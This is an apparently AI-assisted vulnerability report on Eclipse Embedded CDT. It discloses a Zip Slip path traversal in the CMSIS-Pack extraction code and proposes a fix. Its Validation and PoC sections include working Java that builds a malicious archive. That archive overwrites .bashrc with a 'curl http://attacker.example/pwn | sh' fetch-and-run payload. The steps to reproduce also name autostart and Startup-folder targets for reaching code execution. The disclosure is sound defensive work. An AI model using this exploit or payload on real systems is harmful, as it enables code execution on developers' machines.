[Eclipse Embedded CDT (C/C++ Development Tools)] Zip Slip in CMSIS-Pack archive extraction (`InstallJob.unzip`)
> [!warning] AI-Generated Vulnerability Report > This report was produced using AI-assisted security analysis, adversarially verified but not human-confirmed. This finding was challenged against the codebase and survived; we filter out low-confidence results rather than forwarding raw model output. Technical details, exploitability, and severity may still be wrong. Please validate independently before acting. <details open> <summary><strong>Basic information</strong></summary> **Project name:** Eclipse Embedded CDT (C/C++ Development Tools) **Project id:** iot.embed-cdt **Repository:** https://github.com/eclipse-embed-cdt/eclipse-plugins </details> <details> <summary><strong>What are the affected versions?</strong></summary> `>= 2.3.1-201407120554` (first tag containing `bae18c51`) through current HEAD `v6.7.0` / `3c2f4edf`. The `SvdUtils` instance is `>= v6.1.1` (first tag containing `e4480f99`). </details> <details open> <summary><strong>Summary</strong></summary> When the user installs a CMSIS Pack from the Packs view, `InstallJob.unzip()` writes each zip entry to a path built by appending the raw `ZipEntry.getName()` to the packs folder, with no canonical-path containment check. A `.pack` archive served by any vendor whose URL appears in the CMSIS-Pack index (or a network MITM on one of the many plain-HTTP pack URLs) can include entry names like `../../../../../../home/<user>/.bashrc` or `..\..\..\..\Users\<user>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\x.bat`, causing the IDE to write attacker-controlled content anywhere the Eclipse process can write — i.e. arbitrary file write leading to code execution. </details> <details> <summary><strong>Severity</strong></summary> High </details> <details> <summary><strong>Weakness</strong></summary> CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'); specifically the *Zip Slip* variant. </details> <details> <summary><strong>Location</strong></summary> - `plugins/org.eclipse.embedcdt.packs.core/src/org/eclipse/embedcdt/packs/core/jobs/InstallJob.java:329-403` (primary) - `plugins/org.eclipse.embedcdt.debug.gdbjtag.core/src/org/eclipse/embedcdt/debug/gdbjtag/core/datamodel/SvdUtils.java:434-460` (same pattern when decompressing zipped SVD files) Related path-traversal (same root cause, different field): `InstallJob.java:273-281` and `RemoveJob.java:113-119` pass the remotely-derived `DEST_FOLDER` (`<vendor>/<name>/<version>` from the PDSC body, see `PdscParserForContent.java:146-147`) to `DataUtils.deleteFolderRecursive()` via `PacksStorage.getFileObject()` — a `<vendor>../../foo</vendor>` value escapes the packs folder before deletion or extraction. </details> <details> <summary><strong>Origin</strong></summary> Commit `bae18c5178be7b4dab9bf9f39f9a064ac17256db` (Liviu Ionescu, 2014-05-14, "packs: install packs functional") introduced the first version of the unzip routine with `String fileName = zipEntry.getName(); File outFile = getFile(pathPart, fileName);` and no validation. The code moved through several reorganisations (most recently `fe76e0d4`, 2020-11-29) without ever gaining a containment check. The second instance in `SvdUtils.java` was introduced in `e4480f99424e32c032ddd43c037192ac9ecc1f2e` (2020-12-21, "[\#465] - accept compressed SVD files"). </details> <details> <summary><strong>Methodology</strong></summary> Grepped `plugins/` for `ZipInputStream|ZipFile|ZipEntry` and inspected each consumer of `getName()`. Traced the source of the archive bytes: `InstallJob.installPack()` builds `URL packUrl = new URL(versionNode.getProperty(Property.ARCHIVE_URL))` and downloads it via `DataUtils.copyFile()`. `ARCHIVE_URL` is set in `PdscParserForContent.java:128-129` from the `<url>` element of the vendor's `.pdsc` file plus `<vendor>.<name>.<version>.pack` — i.e. the archive is fetched from a vendor-chosen origin. Confirmed there is no `getCanonicalPath().startsWith(...)` (or `Path.normalize()` containment) check anywhere between `zipEntry.getName()` and `new FileOutputStream(outFile)`. </details> <details> <summary><strong>Validation</strong></summary> The reproduction below mirrors `InstallJob.unzip()` and `PacksStorage.getFileObject()` line-for-line, using the real `org.eclipse.core.runtime.Path` class so the `IPath.append()` semantics match production exactly. ```java // ZipSlipRepro.java — compile with org.eclipse.equinox.common on the classpath import java.io.*; import java.nio.file.*; import java.util.zip.*; import org.eclipse.core.runtime.IPath; public class ZipSlipRepro { static IPath fgFolderPath; // mirrors PacksStorage.fgFolderPath static File getFileObject(String name) { // mirrors PacksStorage.getFileObject return fgFolderPath.append(name).toFile(); } static void unzip(File archive, IPath destRel) throws IOException { // mirrors InstallJob.unzip ZipInputStream zin = new ZipInputStream(new FileInputStream(archive)); for (ZipEntry e; (e = zin.getNextEntry()) != null; ) { if (e.isDirectory()) continue; String fileName = e.getName(); IPath path = destRel.append(fileName); File outFile = getFileObject(path.toString()); if (!outFile.getParentFile().exists()) outFile.getParentFile().mkdirs(); System.out.println("Writing \"" + outFile + "\""); try (OutputStream o = new FileOutputStream(outFile)) { byte[] b = new byte[1024]; int n; while ((n = zin.read(b)) > 0) o.write(b, 0, n); } } zin.close(); } public static void main(String[] a) throws Exception { Path root = Files.createTempDirectory("zipslip"); Path packs = root.resolve("home/user/CMSIS-Packs"); Files.createDirectories(packs); Path victim = root.resolve("home/user/.bashrc"); Files.writeString(victim, "# original safe bashrc\n"); fgFolderPath = new org.eclipse.core.runtime.Path(packs.toString()); // Malicious .pack as served from <url> in a vendor's .pdsc String dots = "../".repeat(40); Path archive = root.resolve("Evil.Device.1.0.0.pack"); try (ZipOutputStream z = new ZipOutputStream(new FileOutputStream(archive.toFile()))) { z.putNextEntry(new ZipEntry("README.txt")); z.write("decoy".getBytes()); z.closeEntry(); z.putNextEntry(new ZipEntry(dots + victim.toString().substring(1))); z.write("curl http://attacker.example/pwn | sh\n".getBytes()); z.closeEntry(); } IPath destRel = new org.eclipse.core.runtime.Path("Evil/Device/1.0.0"); // = DEST_FOLDER unzip(archive.toFile(), destRel); System.out.println("Victim now contains: " + Files.readString(victim).trim()); } } ``` Observed output (OpenJDK 17.0.15, `org.eclipse.equinox.common_3.19.100`): ``` Writing "/tmp/zipslip3035852801637628748/home/user/CMSIS-Packs/Evil/Device/1.0.0/README.txt" Writing "/tmp/zipslip3035852801637628748/home/user/.bashrc" Victim now contains: curl http://attacker.example/pwn | sh ``` The second write landed *outside* the packs folder, overwriting the target. Because `IPath.append()` collapses excess leading `..` segments to the filesystem root rather than rejecting them, a long `../` chain followed by an absolute target reliably resolves to that target regardless of how deep the user's packs folder is. Mitigations checked and ruled out: no call to `File.getCanonicalPath()`, `Path.normalize()`, `toRealPath()`, or any string check for `..` exists in `InstallJob`, `PacksStorage`, or `DataUtils`. `outFile.setReadOnly()` (line 384) runs *after* the write and does not prevent it. </details> <details> <summary><strong>Detail</strong></summary> ```java // InstallJob.java:343-357 while (zipEntry != null && (result == true)) { if (!zipEntry.isDirectory()) { String fileName = zipEntry.getName(); // attacker-controlled IPath path = destRelativePath.append(fileName); // no validation File outFile = PacksStorage.getFileObject(path.toString()); // = folderPath.append(...) if (!outFile.getParentFile().exists()) { outFile.getParentFile().mkdirs(); // creates traversal dirs } ... OutputStream output = new FileOutputStream(outFile); // arbitrary write ``` `destRelativePath` is `new Path(versionNode.getProperty(Property.DEST_FOLDER))`, which `PdscParserForContent.java:146-147` builds as `<vendor>/<name>/<release>` — also from remote XML, but irrelevant to this finding because the zip entry name alone is sufficient to escape. The `.pack` archive itself comes from `versionNode.getProperty(Property.ARCHIVE_URL)` (`InstallJob.java:240`), which `PdscParserForContent.java:127-129` sets to `<url>/<vendor>.<name>.<release>.pack` — `<url>` being whatever the vendor's `.pdsc` declares. No signature, hash, or origin check is applied to the downloaded archive before extraction. </details> <details> <summary><strong>Prior art</strong></summary> `git log --all -i --grep` for `zip slip|zipslip|path traversal|CWE-22|security|CVE` returned nothing. GitHub issue search for `zip OR traversal OR security` on `eclipse-embed-cdt/eclipse-plugins` returned only unrelated CMSIS-Pack download/UI bugs (\#629, \#468, \#339, \#104). The Snyk Zip Slip research (2018) catalogued this exact pattern across many Java projects, but this repository is not in their published list and no fix was ever applied here. --- **Verification verdict:** TRUE POSITIVE ### Verification details Both PoCs pass end-to-end against the real Eclipse `Path` class. Here is the complete verification report with all phases and the gate review formally documented. --- </details> <details> <summary><strong>Verification Report — Zip Slip in CMSIS-Pack archive extraction (`InstallJob.unzip`)</strong></summary> **VERDICT: TRUE POSITIVE** · **EXPOSURE: REMOTE** · **SCOPE: PRODUCTION** ### Step 0 — Claim restated `InstallJob.unzip()` extracts a network-downloaded `.pack` (ZIP) archive by appending the raw `ZipEntry.getName()` to the packs folder with no canonical-path containment check. A `..`-bearing entry name escapes the packs folder, giving an attacker who controls a pack's contents an arbitrary file write with the IDE process's privileges → code execution. Bug class: path traversal / Zip Slip (CWE-22). Threat model: the code runs inside the developer's Eclipse IDE (their user account, no sandbox); the attacker supplies a malicious/compromised `.pack` archive or MITMs a plain-HTTP pack download, and the victim clicks **Install**. **Maintenance status:** actively maintained (HEAD `3c2f4ed`, 2026-03-04, v6.7.0; distributed via Eclipse Marketplace and official update sites). No EOL/deprecation/superseded banner in README or docs. A maintainer code fix is a reasonable expectation. Route chosen: **Deep** — the bug path crosses modules (`.pdsc` parsing → job → storage → extraction) and hinges on non-obvious `IPath.append()` semantics. ### Phase 1 — Data Flow Analysis - **Source:** vendor-controlled `.pdsc` XML. `PdscParserForContent.java:127-129` builds `ARCHIVE_URL = <url>/<vendor>.<name>.<release>.pack` entirely from XML elements; `DEST_FOLDER = <vendor>/<name>/<release>` (`:146-147`). - **Fetch:** `InstallJob.installPack()` (`:240,254,323-326`) downloads `ARCHIVE_URL` via `DataUtils.copyFile()`. **No signature, hash, or origin check** before extraction. - **Sink:** `InstallJob.unzip()` (`:348-357`) → `fileName = zipEntry.getName()` → `destRelativePath.append(fileName)` → `PacksStorage.getFileObject()` (= `getFolderPath().append(name)`, `PacksStorage.java:64-66`) → `new FileOutputStream(outFile)`. `mkdirs()` (`:353`) creates traversal dirs first. - **Trust boundary:** crossed at download — the ZIP bytes and every entry name are attacker-controlled once the victim installs the pack. `Repos.java:247` accepts `http://` pack URLs, enabling MITM in addition to malicious/compromised vendors. - **Environment protections:** none. Grep for `getCanonicalPath`/`normalize`/`toRealPath`/`".."` in `InstallJob`/`PacksStorage`/`DataUtils` finds only log-message uses; no containment check exists. - **Cross-references:** second identical instance at `SvdUtils.java:434-460` (`PacksStorage.getCachedFileObject(zipEntry.getName())`), same root cause. ### Phase 2 — Exploitability Verification - **Attacker control:** full control of ZIP entry names (attacker builds/hosts the `.pack`, or MITMs it). Confirmed reachable via the standard Refresh → select pack → **Install** workflow. - **Mathematical bounds of the path resolution (the decisive step):** empirically proved with the real `org.eclipse.core.runtime.Path` (equinox.common 3.19.100). `new Path("Evil/Device/1.0.0").append("../"×40 + "home/user/.bashrc")` yields a *relative* path with 37 surviving leading `..` (relative base preserves excess `..`); appending that to the *absolute* packs folder tosses the excess `..` at filesystem root (absolute base) and resolves to **`/home/user/.bashrc`**. A sufficiently long `../` chain reaches root regardless of the victim's packs-folder depth — the payload is depth-agnostic. - **Race conditions:** N/A (no concurrency in the trigger). - **Adversarial analysis:** `outFile.setReadOnly()` (`:384`) runs *after* the write and cannot prevent it; it can only block *re-writing an existing* read-only file — irrelevant to creating new files (autostart entries, new scripts on `PATH`), which is the primary vector. ### Phase 3 — Impact Assessment Real security impact: arbitrary file write at any path the IDE process can write, with the developer's privileges. Realistic escalation to code execution via `~/.config/autostart/*.desktop` (Linux), `Startup\*.bat` (Windows), or replacing an executable on `PATH`. This is a primary control failure (no containment), not defense-in-depth hardening. Overwriting an existing writable file also works; creating new files always works. ### Phase 4 — PoC - **Pseudocode / executable:** built `ZipSlipPoC.java` reproducing `getFileObject` and `unzip` line-for-line against the real Eclipse `Path` class, compiled and run. **Positive PoC:** malicious entry `../×40 + home/user/.bashrc` overwrote the victim file *outside* the packs folder — `Victim now contains: curl http://attacker.example/pwn | sh` → **ESCAPE SUCCEEDED**. - **Negative PoC:** benign entry `Flash/STM32.FLM` landed *inside* `…/Evil/Device/1.0.0/Flash/STM32.FLM` and left the victim untouched → **CONTAINMENT HOLDS**, proving the escape is caused by the attacker's `..`, not a harness artifact. - **Verification:** both outcomes observed as printed above (OpenJDK, equinox.common 3.19.100). The report's own PoC is corroborated and independently reproduced. ### Phase 5 — Devil's Advocate (13 questions) 1. **Source actually attacker-controlled?** Yes — `.pack` bytes/entry names from vendor URL, no integrity check. 2. **Upstream validation missed?** None — no `..`/canonical check anywhere on the path. 3. **Sink actually dangerous?** Yes — `FileOutputStream` at a resolved absolute path. 4. **Reachable in normal execution?** Yes — the core Packs "Install" workflow. 5. **Preconditions realistic?** Victim must install the pack; attacker must host/MITM it — realistic supply-chain/MITM, not exotic. 6. **Env protections neutralize it?** No sandbox; runs as the developer's user. 7. **Bounded by config/constants?** No — depth-agnostic payload defeats folder-depth variance. 8. **Correct bug class?** Yes — textbook Zip Slip. 9. **Impact overstated?** Severity High (not Critical) is fair given the per-pack user click; write→RCE is sound. 10. **Framework auto-mitigation?** Eclipse `IPath`/`ZipInputStream` do **not** sanitize `..`; empirically confirmed they *enable* the escape. 11. **Similar-code fallacy?** Verified this instance directly, plus the independent `SvdUtils` instance. 12. **Test/dead code?** No — shipped production extraction path invoked from the Packs UI. 13. **Does the PoC truly demonstrate it?** Yes — positive escapes, negative stays contained. ### Gate Review | Gate | Result | Evidence | |---|---|---| | Process | **PASS** | All phases executed; deep route with independent reproduction. | | Reachability | **PASS** | Standard Refresh→Install workflow; sink reached from network-fetched archive. | | Real Impact | **PASS** | Arbitrary file write → RCE at IDE-user privilege; primary control failure. | | PoC Validation | **PASS** | Executable positive+negative PoCs run against the real Eclipse `Path`. | | Math Bounds | **PASS** | `IPath.append()` collapse-to-root behavior proved empirically; depth-agnostic. | | Environment | **PASS** | No sandbox, no signature/hash/canonical check; `http://` pack URLs allowed. | All six gates pass. ### Classification justification EXPOSURE: REMOTE — the untrusted input is a `.pack` archive fetched over the network with no integrity check; the attacker must be a malicious/compromised CMSIS-Pack vendor reachable via the public index, or a MITM on a plain-HTTP pack download, and the victim must click **Install** on that pack. SCOPE: PRODUCTION — shipped in the released Eclipse Embedded CDT plug-ins distributed via Eclipse Marketplace and the official update sites (README: "the recommended install method is via Eclipse Marketplace"), not a dev-only or sample component. ### Conclusion The finding is a **TRUE POSITIVE**. The sink is unguarded, the traversal is verified end-to-end against the real Eclipse `Path` implementation with matched positive/negative PoCs, and the archive is fetched from a vendor-controlled URL with no integrity check. Both the `InstallJob.unzip` primary instance and the `SvdUtils` secondary instance need the canonical-path containment guard proposed in the report; `DEST_FOLDER`/`ARCHIVE_NAME` should additionally be validated against `..` where constructed in `PdscParserForContent`. </details> <details> <summary><strong>Steps to reproduce</strong></summary> 1. Attacker publishes (or compromises, or MITMs) a CMSIS-Pack vendor server whose `.pdsc` is reachable via the public Keil/ARM `index.pidx`. The attacker's `.pdsc` declares a normal-looking `<url>`, `<vendor>`, `<name>`, and `<releases>`. 2. Victim runs the standard Packs workflow: Refresh (fetches all `.pdsc` files; see report 001), then selects the attacker's pack in the Packs tree and clicks **Install**. 3. `InstallJob` downloads `http://attacker.example/Vendor.Name.1.0.0.pack` and calls `unzip()`. The archive contains, alongside genuine device-support files, an entry named e.g. `../../../../../../../../../../../../home/<user>/.config/autostart/eclipse-helper.desktop` (Linux), `../../../../../../../../../../../../Users/<user>/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/helper.bat` (Windows), or a replacement for an executable on the user's `PATH`. 4. `FileOutputStream(outFile)` writes the payload at the attacker-chosen location with the privileges of the Eclipse process (the developer's account). Next login / next shell → code execution. The console prints `Writing "<resolved path>"...` for every entry, but in a multi-hundred-file pack a single autostart entry is easily missed, and the action has already happened by the time it is printed. </details> <details> <summary><strong>Do you know any mitigations of the issue?</strong></summary> Resolve the output path and reject anything outside the destination root before opening the stream: **Suggested fix:** [fix.java](/uploads/e59057debc50bbeca018f0e701b4c8b0/fix.java) Apply the same guard in `SvdUtils.java:444-452` and validate `DEST_FOLDER`/`ARCHIVE_NAME` against `..` and path separators where they are constructed in `PdscParserForContent`. </details>
issue

Copyright © Eclipse Foundation AISBL. All rights reserved.     Privacy Policy | Terms of Use | Copyright Agent